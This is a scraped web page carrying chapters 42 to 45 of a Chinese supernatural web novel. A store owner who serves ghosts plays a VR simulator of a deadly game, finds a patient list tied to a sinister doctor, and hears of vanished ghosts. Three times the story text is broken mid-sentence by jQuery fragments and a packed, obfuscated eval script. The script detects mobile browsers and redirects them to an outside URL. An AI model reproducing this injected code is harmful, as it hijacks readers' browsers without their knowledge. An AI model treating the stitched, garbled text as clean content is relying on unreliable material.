$(''.inform'').remove(); $(''#content'').append('' 地留在人世间,没有庇护,只会被阴风和孤独折磨,最终成为一种……很不像人类的东西。” 离开活人的生活越久,和活人的区别也就越大,失去人类的道德价值观,而只剩下鬼的生存逻辑,对活人不再有同理心,因为不是同类。 这也是世界上很多无差别杀人厉鬼的由来。 原因很简单,就是疯了。 涂蓝埙却摇头:“我说的不是那个,白超不仅是为了她和白小句好,也是为了汤伟宁好。” N再次用那种劲劲的眼神瞄涂蓝埙,看她能说出个什么道理。 她的声音有点苍凉:“这样可以确保汤伟宁不自杀。” 很残酷,但断了念想,或许是让他如常过完一生的唯一办法。 这个话题就此结束,N没接话,涂蓝埙今早喝多了豆奶,跑一趟厕所,医院的女厕消毒不错,她从隔间出来洗手,旁边路过一个四十岁出头的女人,休闲装打扮,不小心碰了涂蓝埙一下。 “哎,对不起啊。”女人道歉,冲涂蓝埙笑了笑,她直觉对方是个颇有地位的人。 很少有人会那么笑,无论性别,柔和但难掩刚硬,像一块韧性很好、被打磨光亮的钢铁,不刺手,但自带豹一样的含蓄力量感。 涂蓝埙表示没事,也没多想,一走出卫生间就看见N在走廊里发呆,凝视玻璃展示框里的医师介绍,她了悟,原是同行来的。 鹿城东方医院是全省最好的私立医院,也就是汤伟宁有钱才能长住VIP病房,展示框也像水晶一样透,院长是个慈眉善目的帅大叔,让人看了颇有信赖感。 哎,这年头,长得好看连治病都比别人顺手。 一人一鬼于是开车回店,又是一天的生意。 网店[西蓝花商店]愈发炙手可热,订单逐日增多,涂蓝埙怀疑其中不少是鬼,可无论本市还是外市县地址都很正常,XX小区或者XX快递驿站,很像活人。 但与此同时,她之前误发在青蓝色论坛的帖子广受好评,不少鬼在评论区发反馈图,商品种类与后台订单十分对版。 涂蓝埙这才明白,大多数鬼买东西的地址会有个伪装,借由活人的快递柜驿站,再偷偷拿走。不是每个都像白小句似的,大大方方把“我住在公墓某排某号”写出来。 一是防止快递物流起疑,二是不让她这个卖家知道他们的实际位置。 毕竟,一家鬼也能购物的网店,对这群习惯了现下交换甚至以物易物的鬼魂,实在是太新鲜了! 尤其是死亡年份靠后的鬼,他们死后再也没体验过网购的快乐好吗?一只只想拆快递的鬼手已经按捺不住。 但这也让店主人涂蓝埙的身份被鬼客户们警惕:网店都能开的神秘大佬,还是只停留在金钱关系比较安全! 涂蓝埙处理完订单,直直冲回二楼躺平颓废,她换上睡衣把自己砸进“白天鹅”床垫里,发出满足的叹息,但……刚刚好像踩到什么东西,硌到她了。 是换下的裤子口袋,里面多了只钥匙扣大小的玩意,外型像U盘。 什么时候放进来的?这不是涂蓝埙的东西,她有些疑惑,正想请电脑女鬼帮忙看看是不是病毒时,忽然僵住。 “U盘”上贴了一行不起眼的小字: 诡异游戏《灰色城窟》模拟器。 42. 42 灰色……城窟…… 不是新闻上那个入侵地球的恐怖游戏吗?N还是其中的疑似BOSS来着。 涂蓝埙看着那只模拟器“U盘”,有点像很多年前的插卡游戏,插在电脑上就能玩《灰色城窟》? 可是她玩那个干嘛,那个游戏是会杀人的!而且是谁把它放进她口袋的?明摆着包藏私心:让涂蓝埙更了解N的可怖之处,然后疏远他逃离他,甚至反杀他。 她猜,要么是那金镜鬼,要么……是N本人。 终于要对她下手了吗?为了解开20.22米的捆绑范围,要把涂蓝埙骗进游戏世界,达到某种目的后再下黑手! 涂蓝埙本应直接当做没看见,把这模拟器先毁再扔,但她犹豫了。 《灰色城窟》是现今入侵最深的诡异游戏,如N所说,那种能让鬼吃到饭的神奇线香就是其中道具,而且游戏里的通用货币是黄金——金饼干。 游戏里有更多的神奇道具,以及财富…… 能进入那个世界,就有奇妙的机遇;如果进不去只是模拟一下,又有什么伤害呢? 涂蓝埙捏着那只U盘,试着用转接头往手机上插了一瞬间,一个病毒般闪烁的对话框弹出—— 《灰色城窟》模拟器.203.实验版 (防数据盗取模式已开启,请勿担心窥屏泄露) 涂蓝埙心中一轻,好像不用担心N钻到手机里窥视了,但接下来的《用户协议条款》让她怔了下。倒是没那么多条条框框,但只有一条——建议配合YX06及以上版本的VR头盔进行游玩。 倒不是没有,店里正好有一只YX06头盔,是白超从别墅带出来哄白小句玩的,手机电脑都能连。 下楼借了一趟,N正在楼下摆弄洗地机,黑手套外面又罩了加大款的家务手套,几个瓶子杯子排列,调配相当复杂的清洁剂料。到处都是泡泡的清香。 涂蓝埙抱着头盔回到二楼,连上手机,确认屏幕熄灭转接给头盔,把头盔戴好,多彩的眩光刺入视网膜,让她整个人的重力感知器官顿了下,缓缓适应。 YX06代VR头盔采取全意识操控,涂蓝埙躺在床上不必有动作,也无法有动作,大脑和身体的连接被暂时切断,她只凭借意识,操控虚拟身体环顾四周。 出现在眼前的,是一个与便利店二楼大不相同的世界。 鹿城已经是一线省会城市,灰色城窟比它的楼厦更高,透着股未来感,色调偏青黑和银蓝。天际线外,飞行器有序在空间中按轨道行驶。 那种泛着青色的玻璃般透明的天空,还有渺远的云朵,与涂蓝埙眼前的灰色低矮墙壁,以及下水井和垃圾桶形成了鲜明对照。 【出生点x1】一行字悄然浮现,又无声散去。 涂蓝埙听见风铃摇晃般的一声清脆,眼前骤然降临配置面版,墙壁和垃圾桶被镀上灰暗,被遮挡在【欢迎进入灰色城窟】后面。 紧接着是【请选择你的身份】。 身份选择框有两条。 1、普通市民 2、医院内部人员(一周目禁止) 只能先以普通市民身份在灰色城窟中行动了。涂蓝埙点击确定,很快弹出第二块面版【装扮配置】。 这游戏的捏脸是自动的,VR头盔将她的意识拉出来,单独询问是否同意读取面部数据?涂蓝埙自然不会答应,于是系统分配了一个初始人物形象给她。 初始人物形象有三种,一个是普通但活泼的女孩【王艾拉】,一个是同样平凡的孱弱青年【陆凯】,还有一个是黄色三花流浪猫【瑞伊】。 前两个免费,最后一个是周年任务限定特典,而且模拟器好像不是游戏完整版,连任务渠道也没开,任务应该早就过期了,小猫瑞伊为灰色且不可选中。 涂蓝埙穿着【王艾拉】的皮套,在镜子对话框前转了两圈。她用了【王艾拉】的原名。 第三道准备程序是【装备佩戴】,涂蓝埙没有任何初始装备,只有一个与U盘差不多形态的道具,画风与《灰色城窟》格格不入。 它的名字叫:【游戏暂停器-模拟器插件】 打开是段人机味很浓的使用说明,全文白底细楷体字,对话框颜色浮旧得仿佛和游戏不在同一图层。总结下来,这个【游戏暂停器】的功能就是—— 在普通时间内可暂停游戏,在危机事件内可延长进度条。 涂蓝埙回到游戏中,一低头,身体已经变成王艾拉的样子,一股头盔模拟的微风迎面吹来,让人心旷神怡。尤其是和远处的巨幕广告比起来。 这里到处都有关于【电子灵魂】的广告,主张劝诱市民放弃身体,免费将自己改造成电子灵魂,即可避免高昂的生活成本和税赋,尽情享受不老不死的青春人生。 ——但涂蓝埙早在游戏开屏里读到过,电子灵魂完全是个城窟高层设下的骗局。 做手术的确是不要钱的,电子灵魂也不用吃喝实体食物,甚至对睡眠的需求都大不一样,但,没有东西不会被凭白得到。 因为手术的代价不是金钱,而是被手术者的人权身份,以及心脏。在灰色城窟中,心脏是禁律的汇聚处,一切欲望和情绪都由心脏节制。 失去心脏,即是失去理性。所以能想象的是,所有电子灵魂都有一个贪婪的巨大胃口,暴食纵欲,并沉溺在快乐中不知尽头。 然而等着他们的是,虚拟的享乐也是要花钱的,每个月的虚拟品配额并不足够。而且因为电子灵魂不会感到厌倦,他们花钱没有真实感,冷却时间被完全取消,只有一波比一波更高的浪潮。 最终都会变成被欲望吞噬的怪物,负债累累,为了得到一点点快乐资金,只能签下不平等的工作协议,好一点的将电子灵魂装入仿生人躯壳,去高端娱乐场所贩卖尊严。 坏一点的直接投入工厂,变成生产机械臂甚至机床的程序核心,日夜反复,同一道工序做得无止无休,直至电子灵魂在轰鸣声和机油味中被磨损殆尽,余下只剩本能条件反射的一小团,彻底告别作为人的身份。 当这些事偶尔被提及时,不知全貌的人们也只会说:“哦,是因为他们太过贪婪了!” 涂蓝埙继续往巷子外面走,心中牢记《灰色城窟》的本质。 一周目随机到的身份是原生市民,回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336190|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到只有十五平米的公寓住处后,首个任务【一份工作】自动亮起,涂蓝埙需要用游戏里的手机找一份工作。 可供“她”这种学历评分-C,外貌评分-D,背景关系评分-E的普通角色选择的工作很少,要么去中小型公司当底层文员,一天接一万个电话,月薪两千八,无基本保险但996; 要么去地下拳击场当夜班清洁员,工作内容是打扫拳手、观众和助兴表演者的遗留物,包括但不限于血液、牙齿、呕吐物,中大奖的话还能扫到半根断指什么的。 第二种的钱比第一种多些,而且地下拳击场竟然给交保险,身为新世纪地球人的涂蓝埙义无反顾奔向第二种。 在时间流速差的干预下,涂蓝埙很快度过工作初期,文字告诉她:【你已经习惯昼伏夜出的作息,并与夜班前台小姐丽塔结下友谊。】 丽塔的建模是个金发女郎,但脸牢牢遮掩在破了个洞的纱帽之下,下巴掩藏在花瓣形高衣领里,也就是说,完全看不清脸。 【丽塔告诉你,她的真实身份是拳击场经理的女儿,只是出来打闲工,你拿不准她是不是喝多了吹牛,但丽塔约你明早下班后去买花,地点在美臻花店……】 【请选择应约or拒绝。】 涂蓝埙当然选择应约,时间跳转到第二天早上,是个雨天,淡灰色的天幕下一切都湿漉漉的,她操控【王艾拉】穿过斑马线,来到和丽塔约定的位置——美臻花店门口。 时间已经超过十分钟,丽塔却没来。 涂蓝埙站在原地,头盔的神经电感应功能很好用,每一滴雨都像打在她头皮上似的。在高自由度模式下,她可以选择给丽塔打电话,但没人接。 正打算离开,转过身,一个女性身影侧倒在另一侧斑马线上,灰大衣正好融入路面,白靴子一前一后,恰巧与白漆区域混为一色。 那是丽塔,她的身躯被隐形似的倒在那,一动不动,纱帽被全头全脸的绷带取代,血液从绷带缝隙流出,涂蓝埙跑过去蹲下,抱住她。 “抱歉迟到了……但我真的很需要钱……”丽塔虚弱地说。 回应倒计时开启,涂蓝埙用VR头盔的语音功能问:“出什么事了?” “【王艾拉】,你听我说。”丽塔叫她的游戏名字,声音微弱得好像搔在耳边,“我不会变成电子灵魂的……记住这一点……让我死……” “让我死……让我死……” 涂蓝埙叫救护车的时候,丽塔一直在她耳边重复这三个字,“让我死”。 救护车来了,将一站一躺的两人运往远方,车子因为特别贵所以特别快,下车的时候,涂蓝埙差点被眼前的医院名称烦得栽了一跟头。 还是绕不开剧情中心啊。 青鸟都会医院。 也是灰色城窟的本源案件地点,夜莺医生作案行凶的老巢。 不过在日常中,夜莺医生只不过是个温和英俊的青年医师,谁也不知道他深藏的暗黑。 被提前剧透了BOSS身份的涂蓝埙只剩一个念头。 如果在这里对游戏模拟的夜莺医生做了什么,便利店里的N会有所感知吗? 43. 43 涂蓝埙送丽塔进了青鸟都会医院,这里不愧是灰色城窟最大最好的医院,连门口的石砖都大块大块,光洁得像镜子一样,丽塔被用一辆静音丝滑的急诊车推着,在一群衣着楚楚的医护人员包围下送入走廊深处。 护士拿着单子请她缴费,涂蓝埙只付了个保证金,就耗尽在游戏里这些天的打工所得,她在关系人一栏签下“同事”,坐在等候处发呆。 好高级,到处都好高级,连服务人员的微笑弧度都像游标卡尺量出来的一样。 她等了半天,终于一名戴着手术帽的高个子医生在众人簇拥中走出来,声音沉波明亮,像降调的萨克斯风,他说:“王艾拉小姐,您的同事抢救很成功,由于她的存款余额为0,后续费用将自动在她的医保和信用账户中划除,请您无需担心。” 涂蓝埙怔了下,这声音很熟悉,戴上VR头盔前还在冷冷地叫她躲远点,不换鞋休想踩新擦净的地板…… 是N。 但又不是他,是模拟器中的夜莺医生。 涂蓝埙对上那双眼睛,不太适应N眼珠完好的样子,他戴着手术帽和口罩,上下勾勒出一副深邃的眉目,眉浓长但不杂野,桃花眼有着尖勾的眼角,埋入鼻梁高窄的两侧阴影下。 此时此刻的夜莺医生,眼眸是带笑的,柔化了那种极具攻击力的长相,但让人更为印象深刻。 “好的,我知道了。”涂蓝埙给出简短答复,不知怎么的,她不太想被眼前游戏里的N记住自己的声音特征。 N,也就是夜莺医生微笑颔首,留下一个模特衣架子般的高大背影。只留下一句和煦的安慰:“您不要担心,她会被治好的,我保证。” 涂蓝埙带着空荡荡的钱包,走出青鸟都会医院,切换地图回到出租屋。在游戏印记板上,多了一处被点亮的角色线,这条线如星辰般曲折。 第一个被填入的游戏印记是个中世纪鸟嘴医生的头像,这个印记的名字叫【周目1-初遇】。 遇到核心剧情人物了呢。 接下来的两天是涂蓝埙的休假,她选择去毛绒咖啡馆打短工,工作内容是戴着兽耳和兽尾,站在一群靓丽的仆人装青年之间迎客。 但【王艾拉】的建模外貌评分太低,她只能跟着端端盘子,最终得到一笔少少的零工报酬,这是被毛绒领班——一一只白尾巴狐狸兽装人——克扣过的数目。 假期一过,再回到地下拳击场上班,前台却换了另一个陌生姐姐,丽塔一连好几天都没来上班,涂蓝埙用角色通讯录打电话过去,前三天是无人接听,三天后直接变成空号了。 丽塔不见了。 涂蓝埙想,丽塔一开始就是在骗她的吧,如果她真是拳击场经理的女儿,账户里怎么会一分钱都没有呢? 直到又一天清晨下班,涂蓝埙操控【王艾拉】去便利店买了只打折面包当早餐,出来等红灯的时候,她才发现这家店在美臻花店附近。 她穿着初始的连帽衫牛仔裤,整个人灰扑扑的,站在赛博城市的垃圾桶旁边比它更像垃圾桶。 与旁边经过的一伙闪耀的年轻人形成强烈对比。 他们看上去有钱极了,衣着采用光鲜的皮草、钻石和露腰的紧身衣,头发也五颜六色的。涂蓝埙判断出来,这是一群刚彻夜寻欢过的狂蜂浪蝶。 她不着痕迹站远了些,这类NPC在灰色城窟中很不好惹,挨上容易触发霉运任务。 其中有个特别亮眼的,穿着通身纯白色套装,织密的耸肩泡泡袖外套和修身一体式筒裙,整颗头罩在银白色纱帽里,那纱帽造型飘逸,像是从秀场直接戴出来的,整个人波光粼粼。 最出彩的是,这白纱帽女郎的上半边脸被遮住,下半边脸没入硬挺高领,嘴唇是纯金色的,反射着太阳的光芒。 她转头时涂蓝埙才看清,那是一只黄金金属打造的嘴唇形薄片,轮廓极为摩登,一只嘴角尖而上翘的黄金色樱桃小口,内侧应该有一粒珍珠或者钻石,被衔在口中,让这虚假的黄金唇壳贴在外面。 禁言本身就有种不可说的意味,让设计师剑走偏锋的意图更加明显,也更贵。 涂蓝埙往前走了一步,她认出那个白衣女郎了,丽塔! 丽塔不去上班,就是和这些人厮混在一起吗?原来她的父亲真的是…… 不对。 那群狂蜂浪蝶站在街边,远处忽然驶来三辆跑车,跑车的造型也非常昂贵,而且看上去有些虚幻,涂蓝埙心中一抽,那是虚拟跑车。 虚拟跑车,专供给电子灵魂的座驾。 他们是一群电子灵魂。绚丽翩然却朝生暮死,如同没有口器的蝴蝶。 涂蓝埙耳边还回响着丽塔昏迷前说的话:“我不会变成电子灵魂的……记住这一点……” 还有那句,“让我死……让我死……” 丽塔没死,她被变成了电子灵魂。 狂蜂浪蝶们上了车,他们声声欢笑,包括头戴银白纱帽的丽塔,笑声不可抑制地从那副黄金嘴唇后流淌出来,好像她快活极了,那是喝醉酒后才能发出的笑声。 涂蓝埙追上去的脚步止住,她目送那三辆虚拟跑车先后开走,几乎是弹射出去的。 这时,丽塔之前那个美臻花店的约会任务彻底灰了下去,涂蓝埙眼前弹出一个对话框—— 角色已下线,是否删除该任务? 涂蓝埙麻木地点击否。 事情还没结束,灰暗的【美臻花店的约会】任务后面多了两个标识,一个是垃圾桶,一个是【调查】。 她点击【调查】。 游戏系统弹窗:“警告玩家,这个世界存在各种各样的未知,贸然调查消失的人物会招致危险,请确认。” 涂蓝埙点击【确认】。 笑话,都模拟器了还怕三怕四的,完全没必要啊。 【正在调查中……】 【目前疑点:你和同事丽塔相约花店,对方离奇受伤,在送医后失踪十天。今早,你在美臻花店门口再次遇到丽塔,你怀疑她被变成了电子灵魂……】 【请选择你的猜想——】 【a.丽塔是自愿变成电子灵魂的】 【b.此事和青鸟都会医院有关】 涂蓝埙选择【b】,于是地图自动跳转,文字显示:【你决定去找青鸟都会医院的那个医生】。 游戏还贴心地配了一张夜莺医生的照片,涂蓝埙心中微惊,当她反应过来时,主控角色已经站在青鸟都会医院的门口。 但进去后走了两圈,触发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344663|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了任何游戏反应,只有NPC前台护士不断询问:“请问有什么可以帮您?”下面是挂号、探病和复诊三个选项。 涂蓝埙看了眼墙壁上的轮值表,Dr.Nightbird今天不坐诊,她转身离开医院大厅。 这不是调查的正确路径。涂蓝埙想,她得找找别的路。 在医院的区域绕了一大圈,涂蓝埙终于在路过某座楼时,头顶亮起了【调查】任务标识,文字自动弹出—— 【这里似乎能爬上去。】 那是一条金属排水管,贯穿两列窗户之间的外墙间隙,这楼也奇怪极了,没有任何文字标识,大门是锁的,里面连门卫都没看见。它既不像住院楼,也不像门诊楼。 对话框显示:【请选择是否攀爬?】 涂蓝埙点击【是】。 主控人物摩拳擦掌两秒钟,沿着水管向上爬,一共爬了五层,那种半空中凉风吹过裤腿的感觉无比真实,涂蓝埙扒着固定水管的夹扣,一眼都不敢往下看。 从下到上经过了五扇窗,其中一层是会议室,里面有长方形木质会议桌、黑皮木单椅还有一块黑板;二层到四层的窗户都贴了防窥膜,四层里面还隐隐透出细线轮廓,应该安装有内置防盗网,像个笼子。 五层则透亮多了,里面有一套舒适的白色办公桌椅,一张深蓝色的布质三人沙发,还有书柜,看着像私人休息室。 涂蓝埙以危险的姿势抽出一条胳膊,推开原就有道缝隙的窗户,游戏显示【跳!】,旁边瞬时出现一只快速燃尽缩短的进度条。 在进度条消失前,涂蓝埙纵身一跃,体会到极逼真的失重感,不知是真实还是游戏录制的心跳声响彻耳鼓。她手指牢牢扒在窗沿边,不敢松开一丝一毫。 惊险钻入那扇窗户,双脚落地后,她才松了口气,旋即头顶再度出现一个长进度条,开始肉眼可见地回缩。 可恶的是,长进度条的左半段被一片云雾遮上,旁边还有提示:计时过半后将更改时速,并对玩家隐藏进度。 涂蓝埙无法知道房间的主人什么时候回来。 她飞快地寻找线索,拉开每一扇柜门和抽屉,这里被收拾得太整洁了,一丝生活痕迹都没有,开着窗,地板上竟然粒尘不染,摸上去和桌子一样干净。 好,好熟悉的强迫症和洁癖…… 一只黑色本夹子在书桌抽屉的暗格中被找到。 涂蓝埙最初没注意那里,但开启旁边抽屉的时候,发现比上一只抽屉的空间厚了不少,由此判断,上一只抽屉底部有问题。 本夹里是一份名单,全部附有照片,部分附有病历,总体形式是每份有病历的后面会附一到两份没病历的,部分姓名有相关字眼。 这是一份患者和患者家属的名单。 涂蓝埙迅速浏览,恰巧翻到两张熟悉的照片。 【手部外伤病患-林思】 【林思的表哥-于章凡】 林思的于章凡的脸很熟悉,他们都是三十来岁的中青年男人,前者面相愁苦,后者一脸霸道。 涂蓝埙仔细思索片刻,雨夜游泳馆的景象重新鲜活起来。 林思和于章凡,竟然就是双手改造成刀锥的鬼、肌肉膨胀如魔兽的鬼的正常人版本! 44. 44 外面传来脚步声,没时间拍照了,她慌张将名单放入大衣内侧,涂蓝埙不敢再看,顺着原路回到一个安全地点,这才展开之前那页。 林思于章凡兄弟后面都有一套标注:X年X月X日进入实验室。 盖了个红戳,像是被宣判某种命运。 涂蓝埙耳边传来VR头盔的定时提醒,一边退出游戏,一边思索,他们果然是游戏里的诡异,而且并非一开始就是铁手和高大壮,他们是被实验室改造的。 夜莺医生是掌管实验室名单的高层人员…… “N可能是个冷血的实验变态。”这个事实再度被她记起,这次很难再忘掉了,铁手鬼和高大壮鬼在游泳馆被火吞没的场景反复出现在涂蓝埙脑中。 怀着这个心情,涂蓝埙下楼将删干净数据的头盔还给白小句,现实世界才过了一小时。 这几天便利店生意不错,附近居住的探险队鬼魂经常来打牙祭,据他们所说,不少游魂和他们交谈过,听说24h阳光便利店后都想来看看,但是碍于这里有厉鬼坐镇,所以求他们来递个话,问问大佬忌不忌讳别的鬼来这。 涂蓝埙当然微笑:“我们是便利店,顾客越多越好嘛。” 另一边,埋头整理市场数据的电脑女鬼忽然说:“哎,青蓝论坛又多了个打广告的店欸!” 又有一家鬼店新开,名字叫“黑森林高端百货”,听着就比“西蓝花商店”高级不少。他们家什么都卖,从高端日常用品,雕出十四种花的手工巧克力,到奢侈的饰品摆件,不是西蓝花商店这种平价便利店可比的。 最重要的是,黑森林高端百货家的价格低到吓人,钻石卖出玻璃价,简直是赔本赚吆喝! 涂蓝埙眉头轻皱,在竞争方只有彼此的情况下,这么做的意图很明显,就是打价格战,想要把西蓝花压到开不下去,进而侵吞全部市场! 电脑女鬼:“哎呀,我说这两天网店销售额增长速度变慢了呢……不行,我得查查他们。” 涂蓝埙很支持这种商业竞争行为,电脑女鬼钻进电脑半天没回来,再出来,脸色苍白许多,好像受了点伤,“出问题了。” 涂蓝埙紧张:“怎么了?他们发现你了,打你了?” 电脑女鬼呆呆一笑:“哦,没有,但对面也懂网路侵占,堵死了我窥探摄像头或硬盘的通道,什么都看不见,但这样反而能确定一点。” 黑森林高端百货背后的卖家,也是鬼,起码和鬼密切相关。 “他们店铺的注册地址呢?”涂蓝埙让电脑女鬼去休息,自己动手,发现黑森林高端百货是一家完全虚拟的店铺,没有实体资质,打开对方评论区返图,快递盒没码干净,发现黑森林的发货地址竟然在鹿城周边的普洱乡桂花镇蜡梅街道上。 电脑女鬼凑过来:“这个地址有什么特殊的吗?” 涂蓝埙专门背诵过本市乃至于本省的风土特色,这个普洱乡桂花镇蜡梅街道她记得,是本省很出名的殡仪一条街。 换句话说,是个专门集散转销殡仪用品,比如花圈、冥钞、纸扎人和纸扎用品的地方,由于技艺高超,做出来的东西仿若拟真,所以被不少新闻报道过。 黑森林高端百货的发货地在那,真是有一点微妙了…… 涂蓝埙正琢磨着对策,顺手打开朋友圈往下刷,第一条蹦出来的就是陶思,这人发了条悲叹共友张小槐的图文,照片里还不经意露出了一尊描金煅彩的铜色摆件,颇有中亚民俗奢侈品的风情。 张小槐,就是介绍涂蓝埙去龙凤世家兑卖金饼干的那个朋友。他是圈子里很爱热闹的那款富二代,背景不算天上人那般高,但着实有钱有门路,喜欢和奇奇怪怪的人通一些偏门关系。 陶思看似悲叹实则暗炫的朋友圈,就是讲张小槐去东南亚潜水,结果氧气瓶出问题,导致受了些伤,现在人在异国医院不知道情况如何。 张小槐出事了? 涂蓝埙微微一愣,专门打开张小槐的朋友圈,发现对方的最后一条动态在昨天凌晨,说他熟人开的一家金店被盗,老板受伤,所幸没有更大问题,只是丢了一批贵重的黄金制品,请有寄件在那的朋友联系他。 被盗的金店就是龙凤世家,受伤的就是那个圆胖老板。 这人也太倒霉了吧,昨天底下的产业被端了,今天人就出了事。不像巧合。 涂蓝埙发了句慰问过去,再度鄙视一番陶思那番造作,却忽然想起来,陶思不经意露出的那尊摆件,她好像在黑森林百货的鬼店首页见过? 没错,是那种开屏的动态商品海报,制作很奢华的那种,商品被放在丝绒背景前,打着斜向暗光,铜像是猫形,眼睛用圆切工黄钻镶嵌,姿态慵懒,口衔一只珍珠翠羽攒成的飞鸟,没想到竟然卖给了陶思。 就连铜猞猁耳朵尖上的黑色宝石晶锥都一样! 涂蓝埙吸了口气,忍不住给陶思发个微信过去:你朋友圈那只铜猫挺好看的哈,在哪买的? 陶思回复很快,一如既往不客气:和你有关系吗?你又买不起,而且,那是猞猁! 涂蓝埙继续撩拨:不就是个摆件,有什么了不起的,连个牌子都没有。 陶思气急了:你懂什么?这是我小舅舅送我的生日礼物,中亚那边的贵族才能摆的,连制作它的匠人都是整个家族分工传承!土包子! 涂蓝埙拿到想要的信息,陶思的小舅舅的确在中亚做药材生意,而黑森林首页的海报还显示“待售”。可能黑森林高端百货卖的铜猞猁是翻版?不过翻版技术这么成熟,背后又有鬼,它的货不会是纸扎的吧。 她不再关注这些事,因为老熟人刘茂盛出现在门口,他一进便利店就说:“出事了,出事了!” 涂蓝埙站起来:“刘伯伯,您喝口水慢慢说,谁出事了?” 刘茂盛直灌半瓶水,打了个哆嗦,才缓缓说清了原委。 刘茂盛自从变成鬼后,在鹿城郊区生活,他聚集了一帮老朋友,其实也就是死后无所事事的游魂们,偶尔你到我坟头串个门子,下次我去你埋骨地踏个青什么的。 但是最近两次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351634|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚会,一次是鬼魂钓鱼活动,一次是公墓登山团建,他们的“人”都不齐,且越来越少。 “会不会是投胎去了?” “不会啊,约人的时候还有答有应的,这才过了几天?”刘茂盛的眉毛纠结在一起,“尤其是上一次聚会,就在昨天,说好七个鬼在公墓山下集合,但就来了三点一个!” 涂蓝埙傻了:“啊?” 三点一个鬼是什么计量方式?只有一只手?只有一只脚? 刘茂盛解释道,剩下那个零点一吧,理论上算活人,但是个植物人患者,他的灵魂经常从医院溜出来,与真正的鬼混在一起游荡——反正也回不去身体了么。 用那个叫杨大志的准鬼魂的话来说,他是提前来实习,适应死后生活的。 刘茂盛笑:“但人家毕竟还剩口气,不能完全说是鬼,咱们也盼着他有一天能醒来、回去,所以沾沾舌头,叫他零点一嘛。” 涂蓝埙听出点苦中作乐的意思,请刘茂盛继续说下去,连续两次有多个鬼魂失踪,这事不太寻常。 尤其能和刘茂盛玩在一起的鬼,一般都是普通人,生前也非大奸大恶,更无深仇血恨,灵魂状态那叫一个养老般稳定,不可能随便就消散了。 “出问题就是零点一,我说那个杨大志啊。”刘茂盛急匆匆往下说:“昨天下午爬山局散了,大家各回各坟,可就昨儿个半夜,杨大志醒了!身体醒了!” 涂蓝埙纳闷:“你怎么知道的?” 刘茂盛答:“我半夜闲着无聊,就徒步去市区闲逛,经过杨大志医院想着进去看他一眼,结果遇上一片……雾一样的血!” 据刘茂盛说,那片血雾笼罩了医院的两扇窗户,就是杨大志住的那间,刘茂盛哪敢直接进去,在附近蹲到天亮,血雾才差不多散干净,等他飘进病房,直接赶上杨大志睁开眼睛……肉身的眼睛。 他周围围的全是家属,明摆着回光返照最后半口气,一部分植物人案例是这样的,可能会在生命的最后苏醒一次,杨大志就是此类情况。 杨大志昏迷好几年了,竟然还能开口说话,他说:“我被抓到了……我看见一点黄黄的光……” 家属在旁边握着手悲泣:“你要上天堂了,你要登极乐了,神仙接你来了。” 杨大志否认,用最后一丝力气说:“黄黄的光里有……我自己……我对我笑……” 说完,杨大志就咽了气,家属哭声震天,其中大喜变大悲把人的精气神烧个干净,最后不乏一丝解脱的余烬。 刘茂盛攥住桌角,差点把自己从椅子中拉拔起来:“我看得很清楚,杨大志的灵魂没从身体里出来,他的魂儿不见了!就像我们圈子里失踪的鬼那样!” 至此,涂蓝埙心中只剩很奇怪的联想,有关杨大志的遗言。 杨大志亲口说的,他是被抓住的。 他看见黄黄的光,然后,在黄光里看见了自己,他还对着自己笑。 那不就是镜子么! 黄光……黄色的镜子……黄金镜子! 45. 45 杨大志的失踪和黄金镜子有关,别人不知道,涂蓝埙可是见过的,那镜子里有个不怀好意的鬼魂。 最巧的是,就在前一两天,张小槐发朋友圈说金店龙凤世家被盗。 黄金镜子的效率也太高了吧,刚离开金店不到48小时,就开始马不停蹄地作案了? 涂蓝埙半晌没说话,看了眼N,拿不准是否该把黄金镜子和她的对话说出来,最终,她抵不过刘茂盛难过的表情,开口道:“我怀疑,杨大志的事和一家金店里的黄金镜子有关。” N淡淡瞥涂蓝埙一眼,声线凉而低,没什么情绪地说:“那镜子里有鬼,也就是你们常说的诡异。” 他知道。 涂蓝埙一悚,那N也知道黄金镜子对她的劝诱了? 刘茂盛耷拉着眉眼,坐近了些,从口袋里掏出一小把碎金子,全都放在收银台上,对涂蓝埙说:“小老板,这是我们一圈子鬼凑的……想问问您能否帮帮忙,找找杨大志。” 这些鬼之间还真有些情谊,每一块碎金子都是他们难得的香火。不是每个鬼都很有钱,其中一些没有家人祭奠、自己路子也不通的,攒下金子很不容易。 但涂蓝埙帮忙也不是全有把握,她只是个普通活人,涉入鬼的事情几乎等同于上战场,而且其中离不开N的帮助。 